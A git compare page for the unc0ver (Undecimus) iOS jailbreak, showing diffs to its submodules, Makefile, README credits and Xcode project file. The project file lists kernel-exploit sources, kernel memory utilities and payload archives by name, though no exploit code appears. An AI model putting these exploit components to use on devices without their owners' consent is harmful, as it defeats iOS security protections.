Compare commits

..

4 Commits

Author SHA1 Message Date
Sam Bingner ae770e356b Revert to resources supporting substitute if newer Unc0ver has been run 2019-01-15 22:16:56 -10:00
Sam Bingner 60dc9cb8ed Automatically generate unc0ver version from git tags 2019-01-15 22:15:20 -10:00
Sam Bingner a8f3f0d1e1 Create a post.sh to simplify post-compile shell script 2019-01-15 22:15:20 -10:00
Sam Bingner 6ba21570ba Update version display to be dynamic 2019-01-15 22:15:20 -10:00
138 changed files with 6143 additions and 6616 deletions
-3
View File
@@ -4,6 +4,3 @@
[submodule "snappy"]
path = snappy
url = https://github.com/sbingner/snappy.git
[submodule "patchfinder64"]
path = patchfinder64
url = https://github.com/pwn20wndstuff/patchfinder64.git
+1 -1
View File
@@ -3,7 +3,7 @@ TARGET = Undecimus
.PHONY: all clean
all: clean
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO PRODUCT_BUNDLE_IDENTIFIER="science.xnu.undecimus" -sdk iphoneos -configuration Debug
xcodebuild clean build CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO -sdk iphoneos -configuration Debug
ln -sf build/Debug-iphoneos Payload
# strip Payload/$(TARGET).app/$(TARGET)
ldid -SUndecimus/resources/multi_path.entitlements Payload/$(TARGET).app/$(TARGET)
+2 -2
View File
@@ -46,6 +46,7 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
## Getting support
* Use the built-in diagnostics tool
* Get technical support on the r/Jailbreak Discord Server
* Tweet [@pwn20wnd](https://twitter.com/Pwn20wnd)
## Best practices
@@ -101,13 +102,12 @@ UI by [@DennisBednarz](https://twitter.com/DennisBednarz) & [Samg_is_a_Ninja](ht
* [@iBSparkes](https://twitter.com/iBSparkes) for the original amfid_payload, jailbreakd and pspawn_hook
* [@stek29](https://twitter.com/stek29) for the patchfinder64 additions, unlocknvram, host_get_special_port(4) patch and shenanigans bypass
* [@theninjaprawn](https://twitter.com/theninjaprawn) for the patchfinder64 additions
* [@saurik](https://twitter.com/saurik) for Cydia and Substrate
* [@FCE365](https://twitter.com/FCE365) for the empty_list reliability improvements
* [@Cryptiiiic](https://twitter.com/Cryptiiiic) for testing
* [@xanDesign_](https://twitter.com/xanDesign_) for testing
* [@AppleDry05](https://twitter.com/AppleDry05) for testing
* [@Rob_Coleman123](https://twitter.com/Rob_Coleman123) for testing
* [@MidnightChip](https://twitter.com/MidnightChip) for testing
* [@FCE365](https://twitter.com/FCE365) for testing
* [@Swag_iOS](https://twitter.com/Swag_iOS) for testing
* [@jailbreakbuster](https://twitter.com/jailbreakbuster) for testing
* [@Jakeashacks](https://twitter.com/Jakeashacks) for testing
+128 -80
View File
@@ -8,33 +8,46 @@
/* Begin PBXBuildFile section */
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */ = {isa = PBXBuildFile; fileRef = 2101395321A09BB700F9C5F2 /* hideventsystem.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* JailbreakViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
2116449A21737F9500250744 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6E21369EB700849420 /* ViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function -Wno-deprecated-declarations"; }; };
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCA2148103B00DC0023 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
212D8844216E4C4800A36DA5 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8842216E4C4700A36DA5 /* find_port.c */; };
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8846216E4DF600A36DA5 /* early_kalloc.c */; };
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = 212D8849216E4EBE00A36DA5 /* async_wake.c */; };
2139534C21763A0C00B17F8D /* rsync.tar in Resources */ = {isa = PBXBuildFile; fileRef = 2139534B21763A0B00B17F8D /* rsync.tar */; };
21466CDC21AEEA3A00B99B4C /* injector.deb in Resources */ = {isa = PBXBuildFile; fileRef = 21466CDB21AEEA3A00B99B4C /* injector.deb */; };
21466CDE21AEEC9200B99B4C /* spawn.deb in Resources */ = {isa = PBXBuildFile; fileRef = 21466CDD21AEEC9200B99B4C /* spawn.deb */; };
2170BD3721B193650059BD10 /* qilin.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC8C2136A0D100849420 /* qilin.o */; };
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */; };
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 21C0FC902136A46500849420 /* SpringBoardServices.framework */; };
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC62148103B00DC0023 /* remote_memory.c */; };
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* KernelExecution.m */; };
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* KernelUtilities.c */; };
21A97FD12148103C00DC0023 /* kexecute.m in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FC82148103B00DC0023 /* kexecute.m */; };
21A97FD32148103C00DC0023 /* kutils.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCC2148103B00DC0023 /* kutils.c */; };
21A97FD42148103C00DC0023 /* remote_call.c in Sources */ = {isa = PBXBuildFile; fileRef = 21A97FCD2148103B00DC0023 /* remote_call.c */; };
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC6B21369EB700849420 /* AppDelegate.m */; };
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7321369EB800849420 /* Assets.xcassets */; };
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 21C0FC7521369EB800849420 /* LaunchScreen.storyboard */; };
21C0FC7A21369EB800849420 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC7921369EB800849420 /* main.m */; };
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* KernelMemory.c */; };
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* KernelStructureOffsets.m */; };
21C0FC8721369EE900849420 /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8021369EE900849420 /* kmem.c */; };
21C0FC8A21369EE900849420 /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8621369EE900849420 /* offsets.m */; };
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130DE214BC2880021AA9D /* unlocknvram.c */; };
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130EA214C03690021AA9D /* CreditsTableViewController.m */; };
21C130FB214C1EBA0021AA9D /* untar.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C130FA214C1EBA0021AA9D /* untar.c */; };
21C13105214C20950021AA9D /* tar.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13100214C20950021AA9D /* tar.tar */; };
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */ = {isa = PBXBuildFile; fileRef = 21C1310F214C2E570021AA9D /* strap.tar.lzma */; };
21C13116214C51100021AA9D /* lzma.tar in Resources */ = {isa = PBXBuildFile; fileRef = 21C13115214C510F0021AA9D /* lzma.tar */; };
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C13117214D268F0021AA9D /* multi_path_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 21C0FC8521369EE900849420 /* empty_list_sploit.c */; settings = {COMPILER_FLAGS = "-Wno-everything"; }; };
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = 21F4D70C21FC7A590070D5E0 /* patchfinder64.c */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */ = {isa = PBXBuildFile; fileRef = 21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */; };
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */; settings = {COMPILER_FLAGS = "-Wno-unused-variable -Wno-unused-function"; }; };
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */ = {isa = PBXBuildFile; fileRef = 222AD59221FA731800DCBA2A /* FakeApt.m */; };
225D142221E052960045493D /* ArchiveFile.m in Sources */ = {isa = PBXBuildFile; fileRef = 225D142121E052960045493D /* ArchiveFile.m */; };
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 226689DC21EC1C5A00262F66 /* libarchive.2.tbd */; };
227629A521C64E640060080A /* substrate-dummy.deb in Resources */ = {isa = PBXBuildFile; fileRef = 227629A421C64E630060080A /* substrate-dummy.deb */; };
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */ = {isa = PBXBuildFile; fileRef = 22C546AA21A8A8FD00EFC09C /* utils.m */; };
22C546BA21A8D59C00EFC09C /* amfid_payload.tar in Resources */ = {isa = PBXBuildFile; fileRef = 22C546B921A8D59C00EFC09C /* amfid_payload.tar */; };
22C546C721A8D8AC00EFC09C /* ca-certificates.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C321A8D7FA00EFC09C /* ca-certificates.deb */; };
22C546C821A8D8AC00EFC09C /* cydia-lproj.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */; };
22C546C921A8D8AC00EFC09C /* cydia.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C521A8D7FA00EFC09C /* cydia.deb */; };
22C546CA21A8D8AC00EFC09C /* openssh.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C221A8D7FA00EFC09C /* openssh.deb */; };
22C546CB21A8D8AC00EFC09C /* openssl.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C421A8D7FA00EFC09C /* openssl.deb */; };
22C546CC21A8D8AC00EFC09C /* resources.deb in Resources */ = {isa = PBXBuildFile; fileRef = 22C546C121A8D7DA00EFC09C /* resources.deb */; };
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */ = {isa = PBXBuildFile; fileRef = 22CFED9121CDFE6B00A216BE /* libmis.tbd */; };
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CD921E02CF200B2FCAE /* inject.m */; };
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */ = {isa = PBXBuildFile; fileRef = 22F91CE221E033A500B2FCAE /* libsnappy.c */; };
@@ -55,31 +68,38 @@
212D8846216E4DF600A36DA5 /* early_kalloc.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = early_kalloc.c; sourceTree = "<group>"; };
212D8848216E4EBE00A36DA5 /* async_wake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = "<group>"; };
212D8849216E4EBE00A36DA5 /* async_wake.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = "<group>"; };
2139534B21763A0B00B17F8D /* rsync.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = rsync.tar; sourceTree = "<group>"; };
21395357217CBA1000B17F8D /* MobileGestalt.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MobileGestalt.h; sourceTree = "<group>"; };
21A97FC42148103A00DC0023 /* KernelExecution.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelExecution.h; sourceTree = "<group>"; };
21466CDB21AEEA3A00B99B4C /* injector.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = injector.deb; sourceTree = "<group>"; };
21466CDD21AEEC9200B99B4C /* spawn.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = spawn.deb; sourceTree = "<group>"; };
21A97FC42148103A00DC0023 /* kexecute.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kexecute.h; sourceTree = "<group>"; };
21A97FC52148103B00DC0023 /* remote_call.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_call.h; sourceTree = "<group>"; };
21A97FC62148103B00DC0023 /* remote_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_memory.c; sourceTree = "<group>"; };
21A97FC82148103B00DC0023 /* KernelExecution.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelExecution.m; sourceTree = "<group>"; };
21A97FC92148103B00DC0023 /* KernelUtilities.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelUtilities.h; sourceTree = "<group>"; };
21A97FCC2148103B00DC0023 /* KernelUtilities.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelUtilities.c; sourceTree = "<group>"; };
21A97FC82148103B00DC0023 /* kexecute.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kexecute.m; sourceTree = "<group>"; };
21A97FC92148103B00DC0023 /* kutils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutils.h; sourceTree = "<group>"; };
21A97FCA2148103B00DC0023 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = "<group>"; };
21A97FCB2148103B00DC0023 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = "<group>"; };
21A97FCC2148103B00DC0023 /* kutils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kutils.c; sourceTree = "<group>"; };
21A97FCD2148103B00DC0023 /* remote_call.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = remote_call.c; sourceTree = "<group>"; };
21A97FCE2148103C00DC0023 /* remote_memory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = remote_memory.h; sourceTree = "<group>"; };
21C0FC6721369EB700849420 /* Undecimus.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Undecimus.app; sourceTree = BUILT_PRODUCTS_DIR; };
21C0FC6A21369EB700849420 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
21C0FC6B21369EB700849420 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
21C0FC6D21369EB700849420 /* JailbreakViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = JailbreakViewController.h; sourceTree = "<group>"; };
21C0FC6E21369EB700849420 /* JailbreakViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = JailbreakViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
21C0FC6D21369EB700849420 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
21C0FC6E21369EB700849420 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; wrapsLines = 0; };
21C0FC7321369EB800849420 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
21C0FC7621369EB800849420 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
21C0FC7821369EB800849420 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
21C0FC7921369EB800849420 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
21C0FC8021369EE900849420 /* KernelMemory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = KernelMemory.c; sourceTree = "<group>"; };
21C0FC8021369EE900849420 /* kmem.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = "<group>"; };
21C0FC8121369EE900849420 /* empty_list_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = empty_list_sploit.h; sourceTree = "<group>"; };
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelStructureOffsets.h; sourceTree = "<group>"; };
21C0FC8321369EE900849420 /* KernelMemory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelMemory.h; sourceTree = "<group>"; };
21C0FC8221369EE900849420 /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = "<group>"; };
21C0FC8321369EE900849420 /* kmem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = "<group>"; };
21C0FC8521369EE900849420 /* empty_list_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = empty_list_sploit.c; sourceTree = "<group>"; };
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelStructureOffsets.m; sourceTree = "<group>"; };
21C0FC8621369EE900849420 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = "<group>"; };
21C0FC8B21369FC500849420 /* common.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = "<group>"; };
21C0FC8C2136A0D100849420 /* qilin.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = qilin.o; sourceTree = "<group>"; };
21C0FC8D2136A0D100849420 /* QiLin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = QiLin.h; sourceTree = "<group>"; };
21C0FC8F2136A2C500849420 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
21C0FC902136A46500849420 /* SpringBoardServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SpringBoardServices.framework; sourceTree = "<group>"; };
21C130DE214BC2880021AA9D /* unlocknvram.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = unlocknvram.c; sourceTree = "<group>"; };
@@ -88,22 +108,26 @@
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SettingsTableViewController.m; sourceTree = "<group>"; };
21C130E9214C03690021AA9D /* CreditsTableViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CreditsTableViewController.h; sourceTree = "<group>"; };
21C130EA214C03690021AA9D /* CreditsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsTableViewController.m; sourceTree = "<group>"; };
21C130FA214C1EBA0021AA9D /* untar.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = untar.c; sourceTree = "<group>"; };
21C130FC214C1EC00021AA9D /* untar.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = untar.h; sourceTree = "<group>"; };
21C13100214C20950021AA9D /* tar.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = tar.tar; sourceTree = "<group>"; };
21C1310F214C2E570021AA9D /* strap.tar.lzma */ = {isa = PBXFileReference; lastKnownFileType = file; path = strap.tar.lzma; sourceTree = "<group>"; };
21C13115214C510F0021AA9D /* lzma.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = lzma.tar; sourceTree = "<group>"; };
21C13117214D268F0021AA9D /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = "<group>"; };
21C13118214D268F0021AA9D /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = "<group>"; };
21C1312E214D5A710021AA9D /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
21E9642421A1DD6F000625F7 /* NSTask.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSTask.h; sourceTree = "<group>"; };
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = patchfinder64.c; path = patchfinder64/patchfinder64.c; sourceTree = SOURCE_ROOT; };
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = patchfinder64.h; path = patchfinder64/patchfinder64.h; sourceTree = SOURCE_ROOT; };
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = Painting_With_Chocolate.ttf; sourceTree = "<group>"; };
222AD59221FA731800DCBA2A /* FakeApt.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = FakeApt.m; sourceTree = "<group>"; };
222AD59421FA732A00DCBA2A /* FakeApt.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = FakeApt.h; sourceTree = "<group>"; };
225D142121E052960045493D /* ArchiveFile.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ArchiveFile.m; sourceTree = "<group>"; };
225D142321E055E90045493D /* ArchiveFile.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ArchiveFile.h; sourceTree = "<group>"; };
226689DA21EC145000262F66 /* archive.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
226689DB21EC145000262F66 /* libproc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libproc.h; sourceTree = "<group>"; };
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libarchive.2.tbd; path = usr/lib/libarchive.2.tbd; sourceTree = SDKROOT; };
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; wrapsLines = 1; };
227629A421C64E630060080A /* substrate-dummy.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "substrate-dummy.deb"; sourceTree = "<group>"; };
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; };
22C546AC21A8A91A00EFC09C /* utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = utils.h; sourceTree = "<group>"; };
22C546B921A8D59C00EFC09C /* amfid_payload.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = amfid_payload.tar; sourceTree = "<group>"; };
22C546C121A8D7DA00EFC09C /* resources.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = resources.deb; sourceTree = "<group>"; };
22C546C221A8D7FA00EFC09C /* openssh.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = openssh.deb; sourceTree = "<group>"; };
22C546C321A8D7FA00EFC09C /* ca-certificates.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "ca-certificates.deb"; sourceTree = "<group>"; };
22C546C421A8D7FA00EFC09C /* openssl.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = openssl.deb; sourceTree = "<group>"; };
22C546C521A8D7FA00EFC09C /* cydia.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = cydia.deb; sourceTree = "<group>"; };
22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "cydia-lproj.deb"; sourceTree = "<group>"; };
22CFED9121CDFE6B00A216BE /* libmis.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libmis.tbd; path = usr/lib/libmis.tbd; sourceTree = SDKROOT; };
22F91CD921E02CF200B2FCAE /* inject.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = inject.m; path = Injector/inject.m; sourceTree = SOURCE_ROOT; };
22F91CDA21E02CF300B2FCAE /* inject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = inject.h; path = Injector/inject.h; sourceTree = SOURCE_ROOT; };
@@ -117,8 +141,8 @@
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */,
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */,
2170BD3721B193650059BD10 /* qilin.o in Frameworks */,
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */,
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */,
);
@@ -147,7 +171,6 @@
21675B62214A68B700D20E2B /* Frameworks */ = {
isa = PBXGroup;
children = (
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */,
22CFED9121CDFE6B00A216BE /* libmis.tbd */,
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */,
);
@@ -157,23 +180,44 @@
2170BD3421B192750059BD10 /* include */ = {
isa = PBXGroup;
children = (
226689DA21EC145000262F66 /* archive.h */,
226689DB21EC145000262F66 /* libproc.h */,
211C372621CE2DD800ADBEA2 /* net */,
211C372521CE2DD700ADBEA2 /* reboot.h */,
211C372821CE2DD800ADBEA2 /* sys */,
21C0FC8B21369FC500849420 /* common.h */,
21C0FC8F2136A2C500849420 /* iokit.h */,
21C0FC8D2136A0D100849420 /* QiLin.h */,
21E9642421A1DD6F000625F7 /* NSTask.h */,
21395357217CBA1000B17F8D /* MobileGestalt.h */,
);
path = include;
sourceTree = "<group>";
};
2170BD3521B192A30059BD10 /* libs */ = {
isa = PBXGroup;
children = (
21C0FC8C2136A0D100849420 /* qilin.o */,
);
path = libs;
sourceTree = "<group>";
};
2170BD3621B192B90059BD10 /* resources */ = {
isa = PBXGroup;
children = (
227629A421C64E630060080A /* substrate-dummy.deb */,
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
21466CDD21AEEC9200B99B4C /* spawn.deb */,
21466CDB21AEEA3A00B99B4C /* injector.deb */,
22C546C321A8D7FA00EFC09C /* ca-certificates.deb */,
22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */,
22C546C521A8D7FA00EFC09C /* cydia.deb */,
22C546C221A8D7FA00EFC09C /* openssh.deb */,
22C546C421A8D7FA00EFC09C /* openssl.deb */,
22C546C121A8D7DA00EFC09C /* resources.deb */,
22C546B921A8D59C00EFC09C /* amfid_payload.tar */,
2139534B21763A0B00B17F8D /* rsync.tar */,
21C13115214C510F0021AA9D /* lzma.tar */,
21C1310F214C2E570021AA9D /* strap.tar.lzma */,
21C13100214C20950021AA9D /* tar.tar */,
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
);
path = resources;
@@ -182,50 +226,49 @@
2170BDCB21B32FF10059BD10 /* source */ = {
isa = PBXGroup;
children = (
21F4D70B21FC7A490070D5E0 /* patchfinder64 */,
22F91CDC21E02D0B00B2FCAE /* snappy */,
22F91CD821E02CC700B2FCAE /* injector */,
21C0FC6A21369EB700849420 /* AppDelegate.h */,
21C0FC6B21369EB700849420 /* AppDelegate.m */,
225D142321E055E90045493D /* ArchiveFile.h */,
